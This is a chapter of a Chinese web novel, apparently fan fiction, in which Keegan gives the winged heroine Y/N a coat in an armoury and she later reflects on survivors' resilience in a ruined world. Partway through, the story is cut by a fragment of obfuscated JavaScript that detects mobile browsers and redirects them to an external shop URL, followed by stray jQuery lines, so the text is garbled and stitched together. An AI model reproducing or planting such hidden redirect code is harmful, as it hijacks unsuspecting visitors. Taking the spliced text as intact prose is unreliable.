默认冷灰
24号文字
方正启体

47.第四十七章

作者:安与猫本书字数:K更新时间:
    Keegan带着她,一路沉默穿过几条昏暗的通道,最后停在武器库前。门旁有士兵,见是他,立了正。Keegan低声吩咐了几句,守卫点头,迅速离开了,将这片区域的安静留给他们两人。


    门打开,里面是一个不算太大,但堆满各式武器和装备箱的小仓库。Keegan反手落了锁,空间变得私密起来,只有几盏应急灯发出幽光。


    他这才松开一直牵着她的手,展开搭在臂弯里的那件大衣。料子厚实,领口和袖口有一圈毛茸茸的滚边,提着衣领,转向她。


    “来,换上吧。”


    Keegan绕到她身后,那对透明的翅翼垂落着,它们不像鸟类羽翼那样丰满,更像是由光织成的薄纱,即便那道缺口,也并未破坏完美。


    “展开试试。”


    Y/N很配合,翼展几乎触及两侧的货架,在堆满冰冷的空间里,投下一片梦幻。


    Keegan的视线,透过这透明的翅翼,落在了Y/N脸上。光影摇曳,勾出她的侧影,翘挺的鼻尖,长而密的睫毛泛着银光,再往下,是那抹他尝过的唇。


    他不自觉朝前了一步。距离近到能闻到她身上独有的气息,他开口,声音压了下去,“Kid,现在能感知到我的情绪吗?”


    Y/N点头,哪怕Keegan掩饰得再好,那层静如冰的表象下,此刻正涌着晦暗,并不激烈,却沉沉压着,有一种克制的灼热和烦闷。


    她转过身仰起脸,直直看向他,那双眼沉静,面罩掩去所有表情,只勾出下颌收得极紧的线条。


    “你在生什么气呢?”她语气疑惑着,单纯在确认一个感知到的事实。Y/N完全没搞懂,短短一瞬,这情绪变化得也太快了吧。


    Keegan没说话,只是将还带着她体温的旧作战服,搭在旁边的武器架上。又拿起那件新大衣,就着两人面对面的姿势,双臂展开,像是一个缓慢的怀抱般,从她身后拢过来。


    他倾身,仔细将大衣披在Y/N肩上,拂过衣襟,替她拢紧。毛茸茸的领口蹭着她的下巴,很软。做完这一切,Keegan没有立刻退开。反而垂下了头,将自己的额头抵上她的。


    在Y/N出现在那片空地时,他就在了。Oni那欲言又止的以后,Horangi搭在她肩头的手,还有更多或明或暗,围绕在她身边的视线和气息,此刻都在他脑里一闪而过。


    一股强烈的本能冲动窜上心头,很想对她说,离他们远点,只属于他。


    可话到嘴边,又被Keegan咽了回去。这不是她的问题。她只是在那里,存在着,用她自己的方式感知着,回应着,像一块折射所有光的水晶。


    该被约束的,或许不是水晶,而是那些忍不住想靠近,想要占有光的人,包括他自己。


    最终,Keegan只是叹了口气,那气息拂过她的额发,“别管我生什么气了。”


    他的声线低哑,似有无奈的纵容,又还压着什么东西,“但你知道的,我生气时,想要你做什么。”


    Y/N知道。Keegan教过她。在他情绪波动,尤其是不悦或烦躁时,一个简单的吻,能按下开关,让那些暗流平息,回归那片冷静的湖面。这是只有他们之间互知的安抚方式。


    可是今天……


    她已经感知足了,来自Ghost,来自Konig,那些美好波动,像甘泉,滋润着她并非为人类情感而生的内核,让她感到充盈,甚至有种微醺感。


    灵族对感知过度追求的教训刻在Y/N灵魂深处,对她而言,感知需要节制,需要平衡。不能让美好饱为贪婪,也不能让悲愤压垮灵弦。


    她需要一边汲取他们的温度来滋养,壮大自己,一边又要小心控制着量,避免沉溺。


    所以,今天Keegan的期待,Y/N犹豫了。


    最终,只是踮起脚尖,将自己的唇贴在了面罩上,眨巴着眼,“这样好不好,不生气了吧?”


    Keegan愣了一下。


    随即,一声笑从面罩里流出来,很轻,却驱走了他眼底最后一点沉郁。他甚至感觉到,那烦闷,被这算不上真正接触的举动,轻轻巧巧拂散了。


    Keegan只是发现,这感觉,好像更好,不炽烈,却亲昵得让他心头发软。


    他没有再要求更多,只是伸手替她把大衣扣好,指节轻弹她的下巴,“嗯,不气了。”


    Keegan就留在了武器库。等着下一班换岗的士兵来,只嘱咐一句:“回去休息,听话,别瞎跑。”


    Y/N应了,应得乖巧,可走出那扇门,脚步就又轻了。她没那困意,便又在这四四方方的基地里,溜达起来。


    不知不觉,走到了基地深处一小块围起的菜园。稀稀拉拉长着些绿叶,认不出是菜是草。


    她蹲下来,目光落到几点移动的小黑影上,是蚂蚁。几只,排着歪歪扭扭的队,拖着一粒比它们身体还大的碎屑,在泥沟里跋涉。


    那么小,那么忙,在这被巨大灾难碾过的世界里,依旧按着那点渺小的本能,搬运,储存,活着。


    Y/N看着,看得出了神,过去那漫长又短暂属于灵族的岁月里,她没见过这个。灵族的感知宏大,连接星辰与虚空,从不留意脚下泥土里微末的勤恳。


    她来到这个濒死的人类世界,厮杀着,逃亡着。她还没机会看,也没心思看。


    可这一年,在这小小用高墙和勇气撑出来的基地里,她反倒看见了许多。


    起初的日子,Y/N也一同出去。跟着基地里那些脸上刻着风霜,眼里留着惊惶,手里却握紧了武器的幸存者们,踏出铁门。


    门里是勉强拼凑的秩序,门外是望不到头的废墟,和废墟下游荡的,不再属于这个世界的东西。


    出去寻物资。从那诡谲的城镇里,刨出可能已经过期,但总比没有强的罐头,皱巴巴的衣物,干瘪的药品,或者只是一卷还能用的铁丝。


    她看着那些人,用颤抖的手拂去尘土,眼神亮一下,又迅速黯淡下去,把东西紧搂在怀里。


    也一同击杀过异怪。不光是肉花人,还有别的。扭曲嚎叫的,速度奇快或力大无穷的。枪声,喊声,惨叫声混在一起。


    有人在身侧倒下,血溅到她脸上,带着腥气。她看见那人眼里的光灭了,变成空洞的灰。旁边的人咬着牙补上位,继续开火,嘶吼里带着哭腔,也带着恨。


    也有没救回来的同伴。不是死在当场,是拖回来了,伤口却开始腐烂,流着彩色的脓,人也跟着说胡话,身体扭曲成不自然的形状。


    他们眼睁睁看着,什么也做不了。最后,只能在黎明前最冷的时分,抬出去,一把火烧了。火焰噼啪作响,映着那些麻木又悲恸的脸。


    夜晚,回到那间挤得满满当当的大通铺。鼾声依旧有,沉重起伏着,是疲惫到了极点的身体,自顾自沉入梦寻求庇护。


    可Y/N是无眠的,她听得见也看得见,鼾声的间隙里还有别的。是断断续续的抽泣,有人蒙着头,肩膀轻轻耸动,有人睁着眼,望着天花板,眼泪无声淌进鬓角,渗进发着霉味的枕头。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939166|190276||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >那些声音很轻,却压在夜里。Y/N还记得,那时躺在自己的铺位,翅膀在衣服下不安蜷着。她感知不到那些人具体的悲伤形状,却能感觉到那浑浊空气里的绝望与哀痛,像冰水,一点点漫上来,浸湿她。


    可是,天总会亮。


    灰白的光线,战战兢兢从高窗挤进来,鼾声停了,抽泣声也止了。人们默默起身,穿衣,叠被,脸上还残留着夜的痕迹,浮肿的眼皮,空洞的眼神。


    可他们互相看看,点点头,或是什么也不说,只是沉默接过递来的,勉强能称之为食物的东西,囫囵咽下。


    然后,检查武器,清点装备,铁器碰撞的声,皮靴踩在地上的声。那些在夜里被泪浸过的脸,慢慢绷紧了,线条硬起来,眼神重新聚起来,望向那扇铁门。


    第二日,仍是再出发,像上了发条的玩具,像被浪推着向前的沙。


    没有豪言壮语,没有热血沸腾,只有本能的坚韧。哭过了,怕过了,眼睁睁看着同伴变成灰烬了。


    然后,抹一抹脸,把最后一点力气和勇气,从血肉里榨出来,再去面对外面那个吃人的世界。


    因为不出去,就会饿死,因为不战斗,就会被吞噬。因为躺下放弃,就连夜里那点哭泣,和黎明时这点麻木的整装,都不会再有了。


    而Y/N身边常跟着的那些男人,却早是活在这副沉重里了。


    这些于他们,不是偶尔压上肩头的石头,而是长进了骨头里,化进了血液中,成了呼吸一样自然的东西。他们见过更彻底的崩塌,经历过更无望的围困,也亲手送走过更多再也站不起来的兄弟。


    眼泪?早就流干了,或者,从一开始就不知道该怎么流。悲伤不是用来咀嚼的,是必须咽下去,化成继续扣动扳机的力量的。


    夜里那些压抑的哭泣,他们也听得见,却不会在意。他们的沉默,是消化了所有嚎叫与呜咽的安静。


    Y/N想着他们。想着那些在绝望深渊边沿,却不肯坠下去的背影。她不太懂人类那复杂到极致,脆弱又顽强的韧性。


    但她看着眼前泥地里不知疲倦的蚂蚁,才忽然觉察到,那是从灰烬里一次次重燃,微弱又不肯灭的火星。


    而这些火星,都成了她在这个破碎世界里,一点点收集起来的,活着的样本。


    他们和她一样,只是在奋力活下去。


    这么一小片地方,被绝望围得铁桶似的,也还挣扎着,流淌着生机。是要把石头顶开缝,非要顶出嫩芽,不管明天会不会被踩碎。


    可这也让Y/N心里,忽然生出一种痒。她想见见,这个世界本来的样子。


    不是这腐肉上开出的花,不是这扭曲嗜血的兽,不是这高墙内勉强维持的命。


    是在这之前。


    那些如今狰狞畸形的动物,原本奔跑起来,毛发在风里是怎样一种流畅的波浪。那些异化前的人类,会为什么事开怀大笑,又为什么人黯然神伤?


    他们的城镇,他们的村庄,是不是都像很久以前,她和珊莎相遇的那个小村落一样。炊香寥寥,花落花开,黄昏时妇人站在门口,喊孩子回家吃饭,声音能传得很远……


    Y/N仍蹲在那里,手指抠着湿润的土。这世界本来的样子,还能再见着吗?


    她不知道。只是觉得,既然连这方寸之地,都能从绝望的泥泞里,捧出这一点生机给她看。那么,这世界本身,或许也曾有过,远比她想象中更盛大更温柔的模样。


    而那模样,值得被记住,被想象,甚至被寻找。尽管希望渺茫得像这夜快要散尽的月。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)